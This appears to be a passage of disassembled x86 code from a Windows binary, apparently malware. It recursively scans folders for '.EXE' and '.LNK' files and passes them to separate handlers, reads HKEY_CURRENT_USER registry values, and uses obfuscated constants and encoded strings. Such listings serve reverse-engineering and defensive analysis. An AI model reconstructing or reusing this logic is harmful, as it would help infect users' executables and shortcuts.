		mov	ebx, [ebp+arg_4]
		mov	edi, ebx
		shr	edi, 4
		mov	eax, edi
		mov	ecx, dword_551184
		add	ecx, 7
		movsx	edx, word_551240
		add	ecx, edx
		mul	ecx
		mov	[ebp+var_4], eax
		mov	esi, ebx
		sub	esi, eax
		mov	ebx, dword_55117C
		sub	ebx, 4
		mov	ecx, esi
		mov	esi, ebx
		shl	esi, cl
		mov	ebx, [ebp+arg_0]
		movzx	ebx, word ptr [ebx+edi*2]
		mov	edi, ebx
		and	edi, esi
		cmp	edi, esi
		jnz	short loc_44731C
		mov	edi, dword_551108
		dec	edi
		jmp	short loc_44732F
; ---------------------------------------------------------------------------


loc_44731C:				; CODE XREF: sub_4472C9+48j
		mov	eax, dword_551114
		movsx	edx, word_551180
		mov	edi, eax
		add	edi, edx
		sub	edi, 4


loc_44732F:				; CODE XREF: sub_4472C9+51j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4472C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447336	proc near		; CODE XREF: sub_43C752+333p

var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_303		= byte ptr -303h
var_20C		= byte ptr -20Ch
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_FF		= byte ptr -0FFh
var_FD		= byte ptr -0FDh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 318h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	edi, dword_5511D4
		sub	edi, 9
		jmp	loc_447568
; ---------------------------------------------------------------------------


loc_447356:				; CODE XREF: sub_447336+23Cj
		push	offset word_55151E
		call	sub_43AC94
		push	edi
		push	eax
		lea	edx, [ebp+var_303]
		push	edx
		call	ds:dword_50EA28
		movsx	eax, word_5510AC
		add	eax, 0F9h
		mov	[ebp+var_204], eax
		push	offset dword_55150C
		call	sub_43AC94
		lea	edx, [ebp+var_314]
		push	edx
		lea	edx, [ebp+var_204]
		push	edx
		lea	edx, [ebp+var_FF]
		push	edx
		push	eax
		lea	edx, [ebp+var_303]
		push	edx
		push	80000001h
		call	sub_440281
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		test	eax, eax
		jz	loc_447567
		lea	eax, [ebp+var_1FE]
		push	eax
		lea	eax, [ebp+var_FD]
		push	eax
		call	sub_44582B
		mov	eax, dword_5510D0
		add	eax, dword_5511F4
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		push	ebx
		call	sub_442127
		add	esp, 14h
		mov	edx, dword_5510DC
		add	edx, 0FFF5h
		movsx	ecx, word_551094
		add	edx, ecx
		cmp	edx, eax
		jz	loc_447567
		push	offset word_5514AE
		call	sub_43AC94
		pop	ecx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_44799C
		mov	eax, dword_551264
		sub	eax, 3
		mov	[ebp+var_308], eax
		jmp	short loc_447466
; ---------------------------------------------------------------------------


loc_44743A:				; CODE XREF: sub_447336+13Aj
		mov	eax, [ebp+var_308]
		cmp	[ebp+eax+var_FF], 23h
		jnz	short loc_447460
		mov	eax, [ebp+var_308]
		mov	edx, dword_5510DC
		sub	edx, 7
		mov	[ebp+eax+var_FF], dl


loc_447460:				; CODE XREF: sub_447336+112j
		inc	[ebp+var_308]


loc_447466:				; CODE XREF: sub_447336+102j
		cmp	[ebp+var_308], 0FFh
		jb	short loc_44743A
		mov	eax, dword_55110C
		sub	eax, 9
		mov	[ebp+var_30C], eax


loc_447480:				; CODE XREF: sub_447336+22Bj
		mov	eax, dword_5511E8
		add	eax, 0F9h
		mov	[ebp+var_204], eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		mov	eax, [ebp+var_30C]
		lea	eax, [ebp+eax+var_FF]
		push	eax
		lea	eax, [ebp+var_303]
		push	eax
		push	80000001h
		call	sub_440281
		add	esp, 18h
		mov	[ebp+var_310], eax
		test	eax, eax
		jnz	short loc_4474E9
		mov	eax, dword_5511E4
		add	eax, dword_55113C
		mov	edx, dword_5511FC
		mov	[ebp+eax+var_20C], dl


loc_4474E9:				; CODE XREF: sub_447336+199j
		mov	eax, [ebp+var_30C]
		mov	[ebp+var_318], eax
		lea	ecx, [ebp+eax+var_FF]
		or	eax, 0FFFFFFFFh


loc_4474FF:				; CODE XREF: sub_447336+1CEj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4474FF
		mov	ecx, [ebp+var_318]
		add	ecx, eax
		mov	[ebp+var_30C], ecx
		lea	eax, [ebp+var_1FE]
		push	eax
		push	esi
		call	ds:dword_44802C
		add	esp, 8
		push	offset byte_5514A9
		call	sub_43AC94
		add	esp, 4
		push	eax
		push	esi
		call	ds:dword_44802C
		add	esp, 8
		inc	[ebp+var_30C]
		mov	eax, dword_5510D4
		add	eax, dword_551264
		sub	eax, 0Ah
		mov	edx, [ebp+var_30C]
		movzx	edx, [ebp+edx+var_FF]
		cmp	eax, edx
		jnz	loc_447480


loc_447567:				; CODE XREF: sub_447336+87j
					; sub_447336+D6j
		inc	edi


loc_447568:				; CODE XREF: sub_447336+1Bj
		mov	eax, dword_551218
		add	eax, 1Dh
		cmp	edi, eax
		jb	loc_447356
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_447336	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44757D	proc near		; CODE XREF: sub_43FC04+74p
					; sub_442C83+3Ep ...

var_259		= byte ptr -259h
var_258		= byte ptr -258h
var_257		= byte ptr -257h
var_256		= byte ptr -256h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_11A		= byte ptr -11Ah
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_8], 0
		jz	short loc_4475A5
		mov	eax, dword_551244
		sub	eax, 7
		mov	[ebp+var_248], eax
		jmp	loc_44762A
; ---------------------------------------------------------------------------


loc_4475A5:				; CODE XREF: sub_44757D+13j
		mov	edx, [ebp+arg_4]
		mov	ecx, dword_5510C4
		add	ecx, dword_551108
		sub	ecx, 0Bh
		cmp	ds:dword_44B5E0[edx*4],	ecx
		jnz	short loc_4475D4
		push	esi
		call	ds:dword_44B5BC
		mov	eax, dword_5511A0
		inc	eax
		push	eax
		call	ds:dword_54EA60


loc_4475D4:				; CODE XREF: sub_44757D+41j
		movsx	eax, word_5511C4
		add	eax, 5Dh
		mov	[ebp+var_248], eax
		push	offset byte_5514A1
		call	sub_43AC94
		push	[ebp+arg_4]
		push	eax
		lea	edx, [ebp+var_256]
		push	edx
		call	ds:dword_50EA28
		add	esp, 10h
		lea	eax, [ebp+var_256]
		push	eax
		call	ds:dword_54EA64
		cmp	eax, 3
		jnz	short loc_44762A
		mov	eax, dword_551138
		add	eax, 128h
		add	eax, dword_5511B4
		mov	[ebp+var_248], eax


loc_44762A:				; CODE XREF: sub_44757D+23j
					; sub_44757D+95j
		xor	edi, edi
		inc	edi
		push	offset word_55149A
		call	sub_43AC94
		push	ebx
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_50EA28
		add	esp, 10h
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_44764E:				; CODE XREF: sub_44757D+D6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_44764E
		mov	[ebp+var_24C], eax
		mov	edx, dword_55121C
		add	edx, dword_551184
		sub	edx, 3
		sub	eax, edx
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	loc_44771F
		mov	eax, [ebp+var_24C]
		sub	eax, 4
		movsx	eax, byte ptr [ebx+eax]
		push	eax
		call	ds:dword_44803C
		add	esp, 4
		mov	edx, eax
		mov	[ebp+var_257], dl
		mov	eax, [ebp+var_24C]
		sub	eax, 2
		movsx	eax, byte ptr [ebx+eax]
		push	eax
		call	ds:dword_44803C
		add	esp, 4
		mov	edx, eax
		mov	[ebp+var_258], dl
		mov	eax, [ebp+var_24C]
		sub	eax, 3
		movsx	eax, byte ptr [ebx+eax]
		push	eax
		call	ds:dword_44803C
		add	esp, 4
		mov	edx, eax
		mov	[ebp+var_259], dl
		cmp	[ebp+var_257], 45h
		jnz	short loc_4476FD
		cmp	[ebp+var_258], 45h
		jnz	short loc_4476FD
		cmp	[ebp+var_259], 58h
		jnz	short loc_4476FD
		push	[ebp+var_248]
		push	ebx
		call	sub_43C506
		add	esp, 8


loc_4476FD:				; CODE XREF: sub_44757D+15Dj
					; sub_44757D+166j ...
		cmp	[ebp+var_258], 4Bh
		jnz	short loc_44771F
		cmp	[ebp+var_259], 4Eh
		jnz	short loc_44771F
		cmp	[ebp+var_257], 4Ch
		jnz	short loc_44771F
		push	ebx
		call	sub_43B946
		pop	ecx


loc_44771F:				; CODE XREF: sub_44757D+F3j
					; sub_44757D+187j ...
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_4CC328
		mov	esi, eax
		mov	eax, dword_551124
		add	eax, 0FFFFFFF2h
		add	eax, dword_551150
		cmp	eax, esi
		jz	loc_44782C
		mov	eax, dword_551154
		add	eax, dword_551174
		cmp	[ebp+eax+var_11A], 2Eh
		jz	loc_447824
		push	offset byte_551491
		call	sub_43AC94
		lea	edx, [ebp+var_112]
		push	edx
		push	ebx
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_50EA28
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_44757D
		add	esp, 20h
		jmp	loc_447824
; ---------------------------------------------------------------------------


loc_44779E:				; CODE XREF: sub_44757D+2A9j
		lea	eax, [ebp+var_13E]
		push	eax
		push	esi
		call	ds:dword_449FC8
		mov	edi, eax
		movsx	eax, word_551268
		add	eax, dword_5511F8
		sub	eax, 0Ah
		cmp	edi, eax
		jnz	short loc_4477DE
		mov	eax, ds:dword_50EA2C
		add	eax, [ebp+var_248]
		push	eax
		call	ds:dword_50EA24
		pop	ecx
		push	esi
		call	ds:dword_44B5BC
		jmp	short loc_44782C
; ---------------------------------------------------------------------------


loc_4477DE:				; CODE XREF: sub_44757D+243j
		movsx	eax, word_551254
		cmp	[ebp+eax+var_11A], 2Eh
		jz	short loc_447824
		push	offset dword_551488
		call	sub_43AC94
		lea	edx, [ebp+var_112]
		push	edx
		push	ebx
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	ds:dword_50EA28
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_44757D
		add	esp, 20h


loc_447824:				; CODE XREF: sub_44757D+1E1j
					; sub_44757D+21Cj ...
		or	edi, edi
		jnz	loc_44779E


loc_44782C:				; CODE XREF: sub_44757D+1C8j
					; sub_44757D+25Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44757D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447831	proc near		; CODE XREF: sub_43F2CB+F3p
					; sub_43F2CB+151p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, dword_55109C
		movsx	edx, word_551240
		mov	esi, eax
		add	esi, edx
		sub	esi, 8
		movsx	eax, word_5510E4
		movsx	edx, word_551234
		mov	edi, eax
		add	edi, edx
		sub	edi, 4
		jmp	short loc_4478CA
; ---------------------------------------------------------------------------


loc_447865:				; CODE XREF: sub_447831+A3j
		movzx	edx, word ptr [ebx+edi*2]
		mov	ecx, [ebp+arg_4]
		movzx	ecx, word ptr [ecx+edi*2]
		sub	edx, ecx
		sub	edx, esi
		mov	[ebp+var_4], edx
		movsx	eax, word_5510CC
		movsx	edx, word_55115C
		add	eax, edx
		sub	eax, 8
		cmp	[ebp+var_4], eax
		jge	short loc_4478B2
		mov	eax, dword_551250
		mov	esi, eax
		add	esi, dword_5510C8
		dec	esi
		mov	eax, dword_551190
		add	eax, 0FFF2h
		add	eax, dword_5510B8
		add	[ebp+var_4], eax
		jmp	short loc_4478C2
; ---------------------------------------------------------------------------


loc_4478B2:				; CODE XREF: sub_447831+5Cj
		mov	eax, dword_5511E4
		mov	esi, eax
		add	esi, dword_551130
		sub	esi, 8


loc_4478C2:				; CODE XREF: sub_447831+7Fj
		mov	edx, [ebp+var_4]
		mov	[ebx+edi*2], dx
		inc	edi


loc_4478CA:				; CODE XREF: sub_447831+32j
		mov	eax, dword_551098
		add	eax, 1Eh
		cmp	edi, eax
		jb	short loc_447865
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_447831	endp


; =============== S U B	R O U T	I N E =======================================



sub_4478DB	proc near		; DATA XREF: .data:005512ECo
		mov	eax, 80004001h
		retn	8
sub_4478DB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4478E4	proc near		; CODE XREF: sub_447901+1Ep

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_4478E5:				; CODE XREF: sub_4478E4+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_4478E5
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		push	ecx
		retn
sub_4478E4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_447901	proc near		; CODE XREF: sub_4423A6+43p

arg_0		= dword	ptr  4

		pop	ecx
		pop	eax
		add	eax, 3
		shr	eax, 2
		shl	eax, 2
		cmp	eax, 1000h
		jl	short loc_447931
		mov	edx, esp
		push	eax
		fild	[esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		fild	[esp-4+arg_0]
		call	sub_4478E4
		mov	esp, edx
		push	edx
		fistp	dword ptr [esp+0]
		mov	ecx, [esp+0]
		fistp	dword ptr [esp+0]
		pop	eax


loc_447931:				; CODE XREF: sub_447901+10j
		sub	esp, eax
		mov	eax, esp
		mov	dword ptr [eax], 0
		push	ecx
		push	ecx
		retn
sub_447901	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_447940	proc near		; CODE XREF: .text:0043A1BAp
					; DATA XREF: .data:off_551000o
		xor	eax, eax
		inc	eax
		retn	0Ch
sub_447940	endp

; ---------------------------------------------------------------------------
		align 4
		push	eax
		fnstcw	word ptr [esp]
		mov	eax, [esp]
		btr	dword ptr [esp], 8
		or	word ptr [esp],	200h
; START	OF FUNCTION CHUNK FOR sub_44796B


loc_44795A:				; CODE XREF: sub_44796B+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx


loc_44795E:				; CODE XREF: .text:00447969j
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_44796B
; ---------------------------------------------------------------------------
		push	eax
		fnstcw	word ptr [esp]
		pop	eax
		jmp	short loc_44795E

; =============== S U B	R O U T	I N E =======================================



sub_44796B	proc near		; CODE XREF: .text:loc_43A1A7p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044795A SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_44795A
sub_44796B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_44797C	proc near		; CODE XREF: sub_43B946+8p
					; sub_43C10A+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_44797D:				; CODE XREF: sub_44797C+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_44797D
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_44797C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_44799C	proc near		; CODE XREF: sub_43A985+35p
					; sub_43A985+105p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_44799C	endp

; ---------------------------------------------------------------------------
		align 4
		jmp	ds:dword_5530AC
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4479D4	proc near		; CODE XREF: sub_43A25C+10p
		jmp	ds:dword_5530B0
sub_4479D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4479E0	proc near		; CODE XREF: sub_43A080+13p
		jmp	ds:dword_5530B4
sub_4479E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4479EC	proc near		; CODE XREF: sub_43A1C3+33p
					; sub_43A1C3+45p ...
		jmp	ds:dword_5530C0
sub_4479EC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4479F8	proc near		; CODE XREF: sub_43A1C3+Bp
					; sub_43A1C3+17p ...
		jmp	ds:dword_5530C4
sub_4479F8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
; ---------------------------------------------------------------------------
		jmp	ds:dword_5530C8
; ---------------------------------------------------------------------------
		align 10h
		jmp	ds:dword_5530CC
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447A1C	proc near		; CODE XREF: sub_43A25C+4Ep
					; sub_43A25C+87p
		jmp	ds:dword_5530D0
sub_447A1C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447A28	proc near		; CODE XREF: .text:0043A186p
		jmp	ds:dword_5530D4
sub_447A28	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447A34	proc near		; CODE XREF: sub_43A1C3+71p
					; sub_43A1C3+86p
		jmp	ds:dword_5530D8
sub_447A34	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447A40	proc near		; CODE XREF: sub_43A25C+9Ep
		jmp	ds:dword_5530DC
sub_447A40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
		dd 50D1E04h, 9440E06h, 1D490705h, 9441D1Dh, 18441808h
		dd 1D1D491Fh, 1C0B441Dh, 90F0209h, 1F184401h, 51E1949h
		dd 0B1A0718h, 5094413h,	18094907h, 1A051E1Fh, 491F0444h
		dd 441D0F04h, 440D0D0Fh, 49070509h, 441D1D1Dh, 1004051Ah
		dd 0B091903h, 9441907h,	0B490705h, 0F02091Ch, 18440109h
		dd 1C0B491Fh, 90F0209h,	3084401h, 1D1D4910h, 808441Dh
		dd 18440403h, 0B07491Fh, 180F1E19h, 9441247h, 1D490705h
		dd 1A441D1Dh, 3100405h,	70B0919h, 5094419h, 1D1D4907h
		dd 0B08441Dh, 8470104h,	1F1B040Bh, 0B09470Fh, 0B0E0B04h
		dd 490B0944h, 441D1D1Dh, 1004051Ah, 0B091903h, 9441907h
		dd 1D490705h, 8441D1Dh,	9440507h, 1A490705h, 0B1A130Bh
		dd 5094406h, 80F4907h, 944130Bh, 1D490705h, 8441D1Dh, 501040Bh
		dd 0E0B070Ch, 440B181Fh, 49070509h, 441D1D1Dh, 9080309h
		dd 7050944h, 1D1D1D49h,	81E1C44h, 491F1844h, 441D1D1Dh
		dd 0B081D09h, 9440104h,	0D490705h, 1A0E0605h, 44060605h
		dd 49070509h, 441D1D1Dh, 1004051Ah, 0B091903h, 9441907h
		dd 1D490705h, 7441D1Dh,	40B0807h, 1F184401h, 1D1D1D49h
		dd 3041F44h, 181E190Bh,	1844071Fh, 50D491Fh, 51A0E06h
		dd 9440606h, 1D490705h,	1A441D1Dh, 3100405h, 70B0919h
		dd 5094419h, 1D1D4907h,	51D441Dh, 80E0618h, 4401040Bh
		dd 490D1805h, 441D1D1Dh, 0E040B09h, 1E0B0E03h, 180F1C0Fh
		dd 0F030C03h, 5094418h,	1D1D4907h, 100h	dup(0)
dword_448000	dd 0							; sub_445E14+1C9w
dword_448004	dd 0							; sub_43DFC4+7Ar ...
dword_448008	dd 0							; sub_43F79F+86r ...
dword_44800C	dd 0							; sub_43FF3A+152r ...
dword_448010	dd 0							; sub_445E14+36Dw
dword_448014	dd 0							; sub_442FE6+1Ar ...
dword_448018	dd 0							; sub_43CD37+B3Dr ...
dword_44801C	dd 0							; sub_441AE5+10Bw
dword_448020	dd 0							; sub_445BAD+112w
dword_448024	dd 0							; sub_444A15+75w
dword_448028	dd 0							; sub_43E429+59w
dword_44802C	dd 0							; sub_43B946+2C4r ...
dword_448030	dd 0							; sub_43FF3A+12Dr ...
dword_448034	dd 0							; sub_43BCD9+98r ...
dword_448038	dd 0							; sub_44718F+50r
dword_44803C	dd 0							; sub_43B946+25Er ...
dword_448040	dd 0							; sub_445E14+2C5w
dword_448044	dd 0		dword_448048	dd 0							; sub_441DD6+78w ...
dword_44804C	dd 0							; sub_445BAD+FDw
dword_448050	dd 0				align 10h
dword_448060	dd 0				dd 3E7h	dup(0)
dword_449000	dd 0		dword_449004	dd 0							; sub_43F79F+67r ...
dword_449008	dd 0							; sub_445BAD+D3w
dword_44900C	dd 0							; sub_441DD6+5Cw ...
dword_449010	dd 0							; sub_442767+1Cr
dword_449014	dd 0							; sub_444FE7+55Er
dword_449018	dd 0							; sub_441EAC+6Dw
dword_44901C	dd 0							; sub_441AE5+25Dr ...
dword_449020	dd 0							; sub_442DEC+11Cr ...
		dd 3E7h	dup(0)
dword_449FC0	dd 0							; sub_445E14+3Aw
dword_449FC4	dd 0							; sub_4461CC+18r ...
dword_449FC8	dd 0							; sub_442A78+CBr ...
dword_449FCC	dd 0							; sub_43AEDD+18r ...
dword_449FD0	dd 0							; sub_441EAC+100w
dword_449FD4	dd 0							; sub_441AE5+A1w
		align 10h
dword_449FE0	dd 40h dup(0)						; sub_442CE5+74o ...
dword_44A0E0	dd 0							; sub_442DEC+142r ...
		dd 3E7h	dup(0)
dword_44B080	dd 0							; sub_445BAD+BEw
dword_44B084	dd 0							; sub_44018C+B3w
dword_44B088	dd 0							; sub_445E14+25w
dword_44B08C	dd 0		dword_44B090	dd 0							; sub_441EAC+D6w
dword_44B094	dd 0							; sub_4467C4+655r
		align 10h
dword_44B0A0	dd 41h dup(0)						; sub_43BF49+13o ...
dword_44B1A4	dd 0							; sub_440485+587r ...
dword_44B1A8	dd 0		dword_44B1AC	dd 0							; sub_43AC7C+Dr ...
byte_44B1B0	db 0			; DATA XREF: sub_442DEC+85r
					; sub_442DEC+14Br ...
		align 4
		dd 0F9h	dup(0)
dword_44B598	dd 0							; sub_43B004+Dr ...
dword_44B59C	dd 0							; sub_445BAD+13Cw
dword_44B5A0	dd 0							; sub_445BAD+17Ew
dword_44B5A4	dd 0		dword_44B5A8	dd 0							; sub_43EA2A+15Dr ...
dword_44B5AC	dd 0							; sub_43CD37+111Fr ...
dword_44B5B0	dd 0							; sub_445E14+29Bw
dword_44B5B4	dd 0							; sub_43E9BF+64w
dword_44B5B8	dd 0							; sub_43DF1B+Er ...
dword_44B5BC	dd 0							; sub_445E14+397w ...
dword_44B5C0	dd 0		dword_44B5C4	dd 0							; sub_43E491+357w
dword_44B5C8	dd 0							; sub_441EAC+12Aw
dword_44B5CC	dd 0							; sub_43A985+2ECr ...
dword_44B5D0	dd 0							; sub_43E04C+14Fr ...
dword_44B5D4	dd 0							; sub_44018C+5Fw
		align 10h
dword_44B5E0	dd 0							; sub_43CB55+15Bw ...
		dd 0FFh	dup(0)
dword_44B9E0	dd 0							; sub_43F79F+189w ...
		dd 0FFFEh dup(0)
dword_48B9DC	dd 0		dword_48B9E0	dd 0		dword_48B9E4	dd 0		dword_48B9E8	dd 0							; sub_445BAD+55w
dword_48B9EC	dd 0							; sub_43A985+23r ...
dword_48B9F0	dd 0		dword_48B9F4	dd 0							; sub_445E14+E2w
dword_48B9F8	dd 0							; sub_43DF1B+8r ...
dword_48B9FC	dd 0							; sub_441EAC+1A8w ...
dword_48BA00	dd 0							; sub_43FC04+37r ...
		align 10h
word_48BA10	dw 0			; DATA XREF: sub_442DEC+79r
					; sub_442DEC+CAr ...
		align 4
		dd 1F3h	dup(0)
dword_48C1E0	dd 0							; sub_441AE5+100w
dword_48C1E4	dd 0							; sub_445BAD+E8w
dword_48C1E8	dd 0							; sub_444FE7+551r
dword_48C1EC	dd 0							; sub_44018C+CFw ...
byte_48C1F0	db 0			; DATA XREF: sub_43EF58+2Ew
					; sub_43EF58+7Cw ...
		align 4
		dd 3Fh dup(0)
dword_48C2F0	dd 0							; sub_4423A6:loc_44242Ar
		align 10h
dword_48C300	dd 5 dup(0)						; sub_4423A6+19Fo ...
dword_48C314	dd 0		dword_48C318	dd 0							; sub_43B004+34r ...
dword_48C31C	dd 0							; sub_44718F+2Cr
dword_48C320	dd 0							; sub_43F79F+175w ...
		dd 0FFFEh dup(0)
dword_4CC31C	dd 0		dword_4CC320	dd 0							; sub_43CD37+8C3r ...
dword_4CC324	dd 0							; sub_441DD6+94w ...
dword_4CC328	dd 0							; sub_442A78+8Cr ...
		align 10h
dword_4CC330	dd 80h dup(0)						; sub_43DF32+35o ...
dword_4CC530	dd 0							; sub_44030E+54r ...
		align 10h
dword_4CC540	dd 41h dup(0)						; sub_441AE5+105o ...
dword_4CC644	dd 0							; sub_445E14+2EFw
dword_4CC648	dd 0							; sub_441EAC+C1w
		align 10h
dword_4CC650	dd 0							; sub_43CD37+89r ...
dword_4CC654	dd 0							; sub_43CD37+56Dr ...
dword_4CC658	dd 0							; sub_43CD37+6FCr ...
dword_4CC65C	dd 0							; sub_43CD37+A4Cr ...
dword_4CC660	dd 0							; sub_43CD37+DA3r ...
dword_4CC664	dd 0							; sub_43CD37+D48r ...
dword_4CC668	dd 0							; sub_43CD37+EB1r ...
dword_4CC66C	dd 0							; sub_43CD37+1078r ...
dword_4CC670	dd 0							; sub_444FE7+5E5r
dword_4CC674	dd 0							; sub_444FE7+61Cr
dword_4CC678	dd 0							; sub_444FE7+684r
dword_4CC67C	dd 0							; sub_444FE7+650r
		dd 4A4h	dup(0)
dword_4CD910	dd 0							; sub_44718F+CAr
dword_4CD914	dd 0							; sub_440485+39r ...
dword_4CD918	dd 0		dword_4CD91C	dd 0							; sub_445BAD+166w
dword_4CD920	dd 0							; sub_441AE5+137w
		align 10h
dword_4CD930	dd 41h dup(0)						; sub_441AE5+81o ...
dword_4CDA34	dd 0							; sub_440485+882r ...
dword_4CDA38	dd 0							; sub_44234E+52w
dword_4CDA3C	dd 0							; sub_43CD37+77Fr ...
dword_4CDA40	dd 0							; sub_43AEDD+102r ...
dword_4CDA44	dd 0							; sub_445E14+8Ew
dword_4CDA48	dd 0							; sub_43AD8B+53r ...
		align 10h
dword_4CDA50	dd 0							; sub_4441D8+6AFw ...
		dd 3E7h	dup(0)
dword_4CE9F0	dd 0							; sub_43EF58+62r ...
dword_4CE9F4	dd 0							; sub_43E491+1EFr
dword_4CE9F8	dd 0		dword_4CE9FC	dd 0							; sub_444FE7+5ECr ...
dword_4CEA00	dd 0							; sub_43E491+34Cw
dword_4CEA04	dd 0							; sub_444A91+62r ...
dword_4CEA08	dd 0							; sub_445BAD+127w
dword_4CEA0C	dd 0							; sub_43E491+19Fr ...
dword_4CEA10	dd 0							; sub_43FCCD+172r ...
dword_4CEA14	dd 0							; sub_440485+E6r ...
dword_4CEA18	dd 0							; sub_43CD37+10F1r ...
dword_4CEA1C	dd 0							; sub_445E14+10w
dword_4CEA20	dd 0							; sub_43F79F+152w ...
		dd 0FFFEh dup(0)
dword_50EA1C	dd 0							; sub_44300F+E1Dr
dword_50EA20	dd 0							; sub_445E14+10Cw
dword_50EA24	dd 0							; sub_43CB55+5Cr ...
dword_50EA28	dd 0							; sub_43CB55+47r ...
dword_50EA2C	dd 0							; sub_43E491+39Ew ...
dword_50EA30	dd 0							; sub_441EAC+169w ...
dword_50EA34	dd 0							; sub_445E14+21Dw
dword_50EA38	dd 0							; sub_444FE7+1FFr ...
dword_50EA3C	dd 0							; sub_43B7D4+22r ...
dword_50EA40	dd 0							; sub_44718F+E7r
		align 10h
dword_50EA50	dd 0							; sub_43F79F+159w ...
		dd 856Bh dup(0)
dword_530000	dd 7A93h dup(0)	dword_54EA4C	dd 0							; sub_445E14+79w
dword_54EA50	dd 0							; sub_441EAC+ACw
dword_54EA54	dd 0							; sub_444FE7+4ECr
dword_54EA58	dd 0							; sub_441EAC+82w ...
dword_54EA5C	dd 0							; sub_43AEDD+7Dr ...
